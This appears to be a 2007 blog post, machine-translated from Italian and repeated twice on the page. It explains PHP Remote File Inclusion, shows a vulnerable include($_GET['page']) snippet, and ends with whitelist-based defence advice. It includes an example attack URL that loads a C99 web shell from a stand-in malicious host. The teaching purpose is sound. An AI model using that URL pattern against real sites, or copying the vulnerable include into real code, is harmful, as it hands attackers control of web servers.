Friday, December 21, 2007
Sunday, December 9, 2007
Cinema Online M Jak Milosc
Remote File Inclusion
The RFI (Remote File Inclusion ) is a vulnerability in web applications written in PHP or ASP due to the lack of control of the files included in the code and passed via GET requests or POST.
When the name of a page to include passed via GET or POST, and no controls can be included in the code a page arbitrarily. They often include shell generally written in PHP providing a broad range of controls, such as C99, which you can edit, remove, and create files on the server folder, make copies of database tables, etc. to send commands to the server., Compromising so very seriously the security of the system.
Suppose we have a code like this:
This code takes a page as a GET variable and include it within the current web page. This code is very dangerous for the security of the system. Suppose that this page is accessible to www.miosito.it / vuln.php. At this point I can pass as a parameter to my application page on the server perfectly lawful, and the application will include the inside (eg www.miosito.it/vuln.php?page=index.php). But I can also include a C99 shell and the system will not tell me anything (www.miosito.it / vuln.php? http://sito_malizioso/c99.txt ). The application will open the page with the code C99 in txt format, will take the code and include it in the page you are creating, thus allowing any attacker to have both hands on the administration of the web server. A C99
txt format can be found here
How to Defend Yourself
Usually when I want to include an external page in one of my web application I want to include only a very restricted set of possible and numbered pages, not all web pages in the world. For example, if I want to create a menu I do not want to include all possible pages and images in my GET variable, but only a narrow range of pages (for those who just want to make it accessible from my menu). Just then a switch-case on the possible values \u200b\u200bof my GET variable, depending on the value and include the desired page, without leaving you completely free will. Enough foresight to avoid this type of vulnerability of RFI. 
The RFI (Remote File Inclusion ) is a vulnerability in web applications written in PHP or ASP due to the lack of control of the files included in the code and passed via GET requests or POST.
When the name of a page to include passed via GET or POST, and no controls can be included in the code a page arbitrarily. They often include shell generally written in PHP providing a broad range of controls, such as C99, which you can edit, remove, and create files on the server folder, make copies of database tables, etc. to send commands to the server., Compromising so very seriously the security of the system.
Suppose we have a code like this:
$ page = $ _GET [ "page" ] ;
include ($ page ) ;
?> This code takes a page as a GET variable and include it within the current web page. This code is very dangerous for the security of the system. Suppose that this page is accessible to www.miosito.it / vuln.php. At this point I can pass as a parameter to my application page on the server perfectly lawful, and the application will include the inside (eg www.miosito.it/vuln.php?page=index.php). But I can also include a C99 shell and the system will not tell me anything (www.miosito.it / vuln.php? http://sito_malizioso/c99.txt ). The application will open the page with the code C99 in txt format, will take the code and include it in the page you are creating, thus allowing any attacker to have both hands on the administration of the web server. A C99
txt format can be found here
How to Defend Yourself
Usually when I want to include an external page in one of my web application I want to include only a very restricted set of possible and numbered pages, not all web pages in the world. For example, if I want to create a menu I do not want to include all possible pages and images in my GET variable, but only a narrow range of pages (for those who just want to make it accessible from my menu). Just then a switch-case on the possible values \u200b\u200bof my GET variable, depending on the value and include the desired page, without leaving you completely free will. Enough foresight to avoid this type of vulnerability of RFI.
Subscribe to:
Posts (Atom)